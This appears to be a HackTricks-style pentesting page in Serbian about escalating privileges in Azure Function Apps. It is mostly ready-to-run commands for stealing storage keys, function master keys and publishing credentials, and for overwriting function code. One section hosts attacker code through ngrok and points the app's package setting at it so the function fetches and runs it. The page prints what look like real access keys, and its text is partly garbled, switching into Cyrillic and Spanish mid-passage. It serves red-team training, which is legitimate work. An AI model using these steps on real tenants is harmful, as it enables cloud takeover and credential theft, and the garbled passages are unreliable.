Az - Functions App Privesc

Tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks

Function Apps

Pogledajte sledeću stranicu za više informacija:

Az - Function Apps

Bucket Read/Write

Ako imate dozvole za čitanje containers unutar Storage Account koji čuva podatke Function, moguće je pronaći različite containers (prilagođene ili sa unapred određenim imenima) koje mogu sadržati kod koji izvršava Function.

Kada pronađete gde je kod Function, ako imate dozvole za pisanje na njega možete naterati Function da izvrši bilo koji kod i eskalirate privilegije na managed identities pridružene Function.

  • File Share (WEBSITE_CONTENTAZUREFILECONNECTIONSTRING and WEBSITE_CONTENTSHARE)

Kod Function je obično smešten u file share. Sa dovoljnim pristupom moguće je izmeniti fajl sa kodom i naterati Function da učita proizvoljan kod, što omogućava eskalaciju privilegija na managed identities pridružene Function.

Ovaj metod deployment-a obično konfiguriše podešavanja WEBSITE_CONTENTAZUREFILECONNECTIONSTRING i WEBSITE_CONTENTSHARE koje možete dobiti iz

az functionapp config appsettings list \
--name <app-name> \
--resource-group <res-group>

Te konfiguracije sadrže Storage Account Key koji Function može koristiti za pristup kodu.

Caution

Sa dovoljnim dozvolama za povezivanje na File Share i izmenom pokrenutog skripta, moguće je izvršiti proizvoljan kod u Function i eskalirati privilegije.

Sledeći primer koristi macOS za povezivanje na file share, ali se preporučuje da pogledate i sledeću stranicu za više informacija o file share-ovima:

Az - File Shares

# Username is the name of the storage account
# Password is the Storage Account Key

# Open the connection to the file share
# Change the code of the script like /site/wwwroot/function_app.py

open "smb://<STORAGE-ACCOUNT>.file.core.windows.net/<FILE-SHARE-NAME>"
  • function-releases (WEBSITE_RUN_FROM_PACKAGE)

Takođe je uobičajeno pronaći zip izdanja unutar foldera function-releases u Storage Account containeru koji function app koristi, u kontejneru koji je obično nazvan function-releases.

Obično će ova metoda implementacije postaviti WEBSITE_RUN_FROM_PACKAGE konfiguraciju u:

az functionapp config appsettings list \
--name <app-name> \
--resource-group <res-group>

This config will usually contain a SAS URL to download the code from the Storage Account.

Caution

Sa dovoljnim privilegijama za povezivanje na blob container koji sadrži kod u zip-u moguće je izvršiti proizvoljan kod u Function i eskalirati privilegije.

  • github-actions-deploy (WEBSITE_RUN_FROM_PACKAGE)

Baš kao i u prethodnom slučaju, ako je deployment urađen preko Github Actions moguće je pronaći folder github-actions-deploy u Storage Account koji sadrži zip sa kodom i SAS URL ka zip-u u podešavanju WEBSITE_RUN_FROM_PACKAGE.

  • scm-releases(WEBSITE_CONTENTAZUREFILECONNECTIONSTRING and WEBSITE_CONTENTSHARE)

Sa permisijama za čitanje containera unutar Storage Account koji čuva podatke funkcije moguće je pronaći container scm-releases. Tamo je moguće naći najnovije izdanje u Squashfs filesystem file format i shodno tome moguće je pročitati kod funkcije:

# List containers inside the storage account of the function app
az storage container list \
--account-name <acc-name> \
--output table

# List files inside one container
az storage blob list \
--account-name <acc-name> \
--container-name <container-name> \
--output table

# Download file
az storage blob download \
--account-name <res-group> \
--container-name scm-releases \
--name scm-latest-<app-name>.zip \
--file /tmp/scm-latest-<app-name>.zip

## Even if it looks like the file is a .zip, it's a Squashfs filesystem

# Install
brew install squashfs

# List contents of the filesystem
unsquashfs -l "/tmp/scm-latest-<app-name>.zip"

# Get all the contents
mkdir /tmp/fs
unsquashfs -d /tmp/fs /tmp/scm-latest-<app-name>.zip

Takođe je moguće pronaći master and functions keys pohranjene u storage account-u, u containeru azure-webjobs-secrets unutar foldera <app-name>, u JSON fajlovima koje tamo možete pronaći.

Caution

Sa dovoljno dozvola za povezivanje na blob container koji sadrži kod u zip extension fajlu (koji je zapravo squashfs), moguće je izvršiti proizvoljni kod u Function-u i eskalirati privilegije.

# Modify code inside the script in /tmp/fs adding your code

# Generate new filesystem file
mksquashfs /tmp/fs /tmp/scm-latest-<app-name>.zip  -b 131072 -noappend

# Upload it to the blob storage
az storage blob upload \
--account-name <storage-account> \
--container-name scm-releases \
--name scm-latest-<app-name>.zip \
--file /tmp/scm-latest-<app-name>.zip \
--overwrite

Microsoft.Web/sites/host/listkeys/action

Ova dozvola omogućava да се излистају function, master и system keys, али не host key, за наведenu функцију помоћу:

az functionapp keys list --resource-group <res_group> --name <func-name>

Sa master key-jem je takođe moguće dobiti izvorni kod u URL-u poput:

# Get "script_href" from
az rest --method GET \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/functions?api-version=2024-04-01"

# Access
curl "<script-href>?code=<master-key>"
# Python function app example
curl "https://newfuncttest123.azurewebsites.net/admin/vfs/home/site/wwwroot/function_app.py?code=RByfLxj0P-4Y7308dhay6rtuonL36Ohft9GRdzS77xWBAzFu75Ol5g==" -v
# JavaScript function app example
curl "https://consumptionexample.azurewebsites.net/admin/vfs/site/wwwroot/HttpExample/index.js?code=tKln7u4DtLgmG55XEvMjN0Lv9a3rKZK4dLbOHmWgD2v1AzFu3w9y_A==" -v

I da izmenite kod koji se izvršava u funkciji sa:

# Set the code to set in the function in /tmp/function_app.py
## Python function app example
curl -X PUT "https://newfuncttest123.azurewebsites.net/admin/vfs/home/site/wwwroot/function_app.py?code=RByfLxj0P-4Y7308dhay6rtuonL36Ohft9GRdzS77xWBAzFu75Ol5g==" \
--data-binary @/tmp/function_app.py \
-H "Content-Type: application/json" \
-H "If-Match: *" \
-v

# NodeJS function app example
curl -X PUT "https://consumptionexample.azurewebsites.net/admin/vfs/site/wwwroot/HttpExample/index.js?code=tKln7u4DtLgmG55XEvMjN0Lv9a3rKZK4dLbOHmWgD2v1AzFu3w9y_A==" \
--data-binary @/tmp/index.js \
-H "Content-Type: application/json" \
-H "If-Match: *" \
-v

Microsoft.Web/sites/functions/listKeys/action

Ova dozvola omogućava добијање подразумијеваног кључа за наведenu функцију помоћу:

az rest --method POST --uri "https://management.azure.com/subscriptions/<subsription-id>/resourceGroups/<resource-group>/providers/Microsoft.Web/sites/<func-name>/functions/<func-endpoint-name>/listKeys?api-version=2022-03-01"

Pozovite funkciju koristeći podrazumevani ključ koji ste dobili:

curl "https://<app-name>.azurewebsites.net/api/<func-endpoint-name>?code=<default-key>"

Microsoft.Web/sites/host/functionKeys/write

Ovo dopuštenje omogućava kreiranje/azuriranje ključa određene funkcije sa:

az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type functionKeys --name <func-key> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==

Microsoft.Web/sites/host/masterKey/write

Ovo dopuštenje omogućava kreiranje/azuriranje master key-a za navedenu funkciju pomoću:

az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type masterKey --name <func-key> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==

Caution

Imajte na umu da pomoću ovog ključa možete takođe pristupiti izvornom kodu i izmeniti ga kao što je ranije objašnjeno!

Microsoft.Web/sites/host/systemKeys/write

Ova dozvola omogućava kreiranje/azuriranje sistemskog ključa funkcije za navedenu funkciju pomoću:

az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type masterKey --name <func-key> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==

Koristi ključ:

# Ejemplo: Acceso a endpoints de Durable Functions
curl "https://<app-name>.azurewebsites.net/runtime/webhooks/durabletask/instances?code=<system-key>"

# Ejemplo: Acceso a Event Grid webhooks
curl "https://<app-name>.azurewebsites.net/runtime/webhooks/eventgrid?code=<system-key>"

Microsoft.Web/sites/config/list/action

Ova dozvola omogućava pristup podešavanjima funkcije. U tim konfiguracijama može se naći podrazumevana vrednost AzureWebJobsStorage ili WEBSITE_CONTENTAZUREFILECONNECTIONSTRING koja sadrži ključ naloga za pristup blob storage-a funkcije sa punim ovlašćenjima.

az functionapp config appsettings list --name <func-name> --resource-group <res-group>

Štaviše, ova dozvola takođe omogućava dobijanje SCM username and password (ako je omogućeno) pomoću:

az rest --method POST \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/config/publishingcredentials/list?api-version=2018-11-01"

Microsoft.Web/sites/config/list/action, Microsoft.Web/sites/config/write

Ove dozvole omogućavaju da se nabroje vrednosti konfiguracije funkcije, kao što smo ranije videli, i da se izmenjuju te vrednosti. Ovo je korisno zato što ova podešavanja ukazuju gde se nalazi kod koji se izvršava unutar funkcije.

Stoga je moguće postaviti vrednost podešavanja WEBSITE_RUN_FROM_PACKAGE koja pokazuje na URL zip fajla koji sadrži novi kod koji će se izvršavati unutar web aplikacije:

  • Počnite tako što ćete preuzeti trenutnu konfiguraciju
az functionapp config appsettings list \
--name <app-name> \
--resource-group <res-name>
  • Napravite kod koji želite da funkcija izvršava i javno ga hostujte
# Write inside /tmp/web/function_app.py the code of the function
cd /tmp/web/function_app.py
zip function_app.zip function_app.py
python3 -m http.server

# Serve it using ngrok for example
ngrok http 8000
  • Izmenite funkciju, zadržite prethodne parametre i dodajte na kraju konfiguraciju WEBSITE_RUN_FROM_PACKAGE koja pokazuje na URL sa zip fajlom koji sadrži kod.

U nastavku je primer mojih ličnih podešavanja (moraćete da promenite vrednosti za svoja); obratite pažnju na kraju na vrednost "WEBSITE_RUN_FROM_PACKAGE": "https://4c7d-81-33-68-77.ngrok-free.app/function_app.zip", ovde sam hostovao aplikaciju.

# Modify the function
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Web/sites/newfunctiontestlatestrelease/config/appsettings?api-version=2023-01-01" \
--headers '{"Content-Type": "application/json"}' \
--body '{"properties": {"APPLICATIONINSIGHTS_CONNECTION_STRING": "InstrumentationKey=67b64ab1-a49e-4e37-9c42-ff16e07290b0;IngestionEndpoint=https://canadacentral-1.in.applicationinsights.azure.com/;LiveEndpoint=https://canadacentral.livediagnostics.monitor.azure.com/;ApplicationId=cdd211a7-9981-47e8-b3c7-44cd55d53161", "AzureWebJobsStorage": "DefaultEndpointsProtocol=https;AccountName=newfunctiontestlatestr;AccountKey=gesefrkJxIk28lccvbTnuGkGx3oZ30ngHHodTyyVQu+nAL7Kt0zWvR2wwek9Ar5eis8HpkAcOVEm+AStG8KMWA==;EndpointSuffix=core.windows.net", "FUNCTIONS_EXTENSION_VERSION": "~4", "FUNCTIONS_WORKER_RUNTIME": "python", "WEBSITE_CONTENTAZUREFILECONNECTIONSTRING": "DefaultEndpointsProtocol=https;AccountName=newfunctiontestlatestr;AccountKey=gesefrkJxIk28lccvbTnuGkGx3oZ30ngHHodTyyVQu+nAL7Kt0zWvR2wwek9Ar5eis8HpkAcOVEm+AStG8KMWA==;EndpointSuffix=core.windows.net","WEBSITE_CONTENTSHARE": "newfunctiontestlatestrelease89c1", "WEBSITE_RUN_FROM_PACKAGE": "https://4c7d-81-33-68-77.ngrok-free.app/function_app.zip"}}'

Microsoft.Web/sites/hostruntime/vfs/write

Sa ovom dozvolom je moguće izmeniti kod aplikacije kroz web konzolu (ili kroz sledeći API endpoint):

# This is a python example, so we will be overwritting function_app.py
# Store in /tmp/body the raw python code to put in the function
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subcription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/hostruntime/admin/vfs/function_app.py?relativePath=1&api-version=2022-03-01" \
--headers '{"Content-Type": "application/json", "If-Match": "*"}' \
--body @/tmp/body

# Through the SCM URL (using Azure permissions or SCM creds)
az rest --method PUT \
--url "https://consumptionexample.scm.azurewebsites.net/api/vfs/site/wwwroot/HttpExample/index.js" \
--resource "https://management.azure.com/" \
--headers "If-Match=*" \
--body 'module.exports = async function (context, req) {
context.log("JavaScript HTTP trigger function processed a request. Training Demo 2");

const name = (req.query.name || (req.body && req.body.name));
const responseMessage = name
? "Hello, " + name + ". This HTTP triggered function executed successfully. Training Demo 2"
: "This HTTP triggered function executed successfully. Pass a name in the query string or in the request body for a personalized response. Training Demo 2";

context.res = {
// status: 200, /* Defaults to 200 */
body: responseMessage
};
}'

Microsoft.Web/sites/publishxml/action, (Microsoft.Web/sites/basicPublishingCredentialsPolicies/write)

Ova dozvola omogućava listanje svih publishing profila koji u suštini sadrže basic auth credentials:

# Get creds
az functionapp deployment list-publishing-profiles \
--name <app-name> \
--resource-group <res-name> \
--output json

Druga opcija je da postavite sopstvene kredencijale i koristite ih pomoću:

az functionapp deployment user set \
--user-name DeployUser123456 g \
--password 'P@ssw0rd123!'
  • Ako su kredencijali REDACTED

Ako vidite da su ti kredencijali REDACTED, to je zato što morate omogućiti opciju SCM basic authentication i za to vam treba druga dozvola (Microsoft.Web/sites/basicPublishingCredentialsPolicies/write):

# Enable basic authentication for SCM
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/basicPublishingCredentialsPolicies/scm?api-version=2022-03-01" \
--body '{
"properties": {
"allow": true
}
}'

# Enable basic authentication for FTP
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/basicPublishingCredentialsPolicies/ftp?api-version=2022-03-01" \
--body '{
"properties": {
"allow": true
}
}
  • Method SCM

Zatim, možete pristupiti SCM URL-u vaše function app koristeći ove basic auth credentials i dobiti vrednosti env variables:

# Get settings values
curl -u '<username>:<password>' \
https://<app-name>.scm.azurewebsites.net/api/settings -v

# Deploy code to the funciton
zip function_app.zip function_app.py # Your code in function_app.py
curl -u '<username>:<password>' -X POST --data-binary "@<zip_file_path>" \
https://<app-name>.scm.azurewebsites.net/api/zipdeploy

_Imajte na umu da je SCM username obično znak “$” praćen imenom aplikacije, dakle: $<app-name>. _

Takođe možete pristupiti web stranici na https://<app-name>.scm.azurewebsites.net/BasicAuth

Vrednosti podešavanja sadrže AccountKey storage account-a koji čuva podatke function app-a, što omogućava kontrolu nad tim storage account-om.

  • Method FTP

Povežite se na FTP server koristeći:

# macOS install lftp
brew install lftp

# Connect using lftp
lftp -u '<username>','<password>' \
ftps://waws-prod-yq1-005dr.ftp.azurewebsites.windows.net/site/wwwroot/

# Some commands
ls # List
get ./function_app.py -o /tmp/ # Download function_app.py in /tmp
put /tmp/function_app.py -o /site/wwwroot/function_app.py # Upload file and deploy it

Imajte na umu da je FTP username obično u formatu <app-name>\$<app-name>.

Microsoft.Web/sites/hostruntime/vfs/read

Ova dozvola omogućava čitanje izvornog koda aplikacije preko VFS-a:

az rest --url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/hostruntime/admin/vfs/function_app.py?relativePath=1&api-version=2022-03-01"

Microsoft.Web/sites/functions/token/action

Sa ovom dozvolom moguće je get the admin token koji se kasnije može koristiti za preuzimanje master key i time pristupiti i izmeniti kod funkcije.

Međutim, pri mojim poslednjim proverama nije vraćen nijedan token, tako da možda više nije omogućen ili ne radi, ali evo kako biste to uradili:

# Get admin token
az rest --method GET \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/functions/admin/token?api-version=2024-04-01"

# Get master key
curl "https://<app-name>.azurewebsites.net/admin/host/systemkeys/_master" \
-H "Authorization: Bearer <token>"

Microsoft.Web/sites/config/write, (Microsoft.Web/sites/functions/properties/read)

Ova dozvola omogućava da se omoguće funkcije koje su možda onemogućene (ili da se onemoguće).

# Enable a disabled function
az functionapp config appsettings set \
--name <app-name> \
--resource-group <res-group> \
--settings "AzureWebJobs.http_trigger1.Disabled=false"

Takođe je moguće videti da li je funkcija omogućena ili onemogućena na sledećem URL-u (koristeći dozvolu u zagradama):

az rest --url "https://management.azure.com/subscriptions/<subscripntion-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/functions/<func-name>/properties/state?api-version=2024-04-01"

Microsoft.Web/sites/config/write, Microsoft.Web/sites/config/list/action, (Microsoft.Web/sites/read, Microsoft.Web/sites/config/list/action, Microsoft.Web/sites/config/read)

Sa ovim dozvolama moguće je izmeniti kontejner koji pokreće function app konfigurisan da pokreće kontejner. To bi omogućilo napadaču da otpremi zlonamerni azure function container app na docker hub (na primer) i natera funkciju da ga izvrši.

az functionapp config container set --name <app-name> \
--resource-group <res-group> \
--image "mcr.microsoft.com/azure-functions/dotnet8-quickstart-demo:1.0"

Microsoft.Web/sites/write, Microsoft.ManagedIdentity/userAssignedIdentities/assign/action, Microsoft.App/managedEnvironments/join/action, (Microsoft.Web/sites/read, Microsoft.Web/sites/operationresults/read)

Sa ovim dozvolama je moguće attach a new user managed identity to a function. Ako je function kompromitovana, ovo bi omogućilo eskalaciju privilegija na bilo koji user managed identity.

az functionapp identity assign \
--name <app-name> \
--resource-group <res-group> \
--identities /subscriptions/<subs-id>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<mi-name>

Daljinsko otklanjanje grešaka

Takođe je moguće povezati se i debug-ovati pokrenutu Azure Function kao explained in the docs. Međutim, po defaultu Azure će ovu opciju isključiti nakon 2 dana ako developer zaboravi, kako bi se izbegle ranjive konfiguracije.

Moguće je proveriti da li Function ima omogućeno debugovanje pomoću:

az functionapp show --name <app-name> --resource-group <res-group>

Ako imate dozvolu Microsoft.Web/sites/config/write, moguće je i staviti funkciju u režim debagovanja (sledeća komanda takođe zahteva dozvole Microsoft.Web/sites/config/list/action, Microsoft.Web/sites/config/Read i Microsoft.Web/sites/Read).

az functionapp config set --remote-debugging-enabled=True --name <app-name> --resource-group <res-group>

Promena Github repozitorijuma

Pokušao sam da promenim Github repo sa kojeg se vrši deploying izvršavanjem sledećih komandi, ali čak i ako je promenjen, novi kod nije učitan (verovatno zato što očekuje da Github Action ažurira kod).
Štaviše, managed identity federated credential nije ažuriran da dozvoli novi repozitorijum, pa izgleda da ovo nije naročito korisno.

# Remove current
az functionapp deployment source delete \
--name funcGithub \
--resource-group Resource_Group_1

# Load new public repo
az functionapp deployment source config \
--name funcGithub \
--resource-group Resource_Group_1 \
--repo-url "https://github.com/orgname/azure_func3" \
--branch main --github-action true

Tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks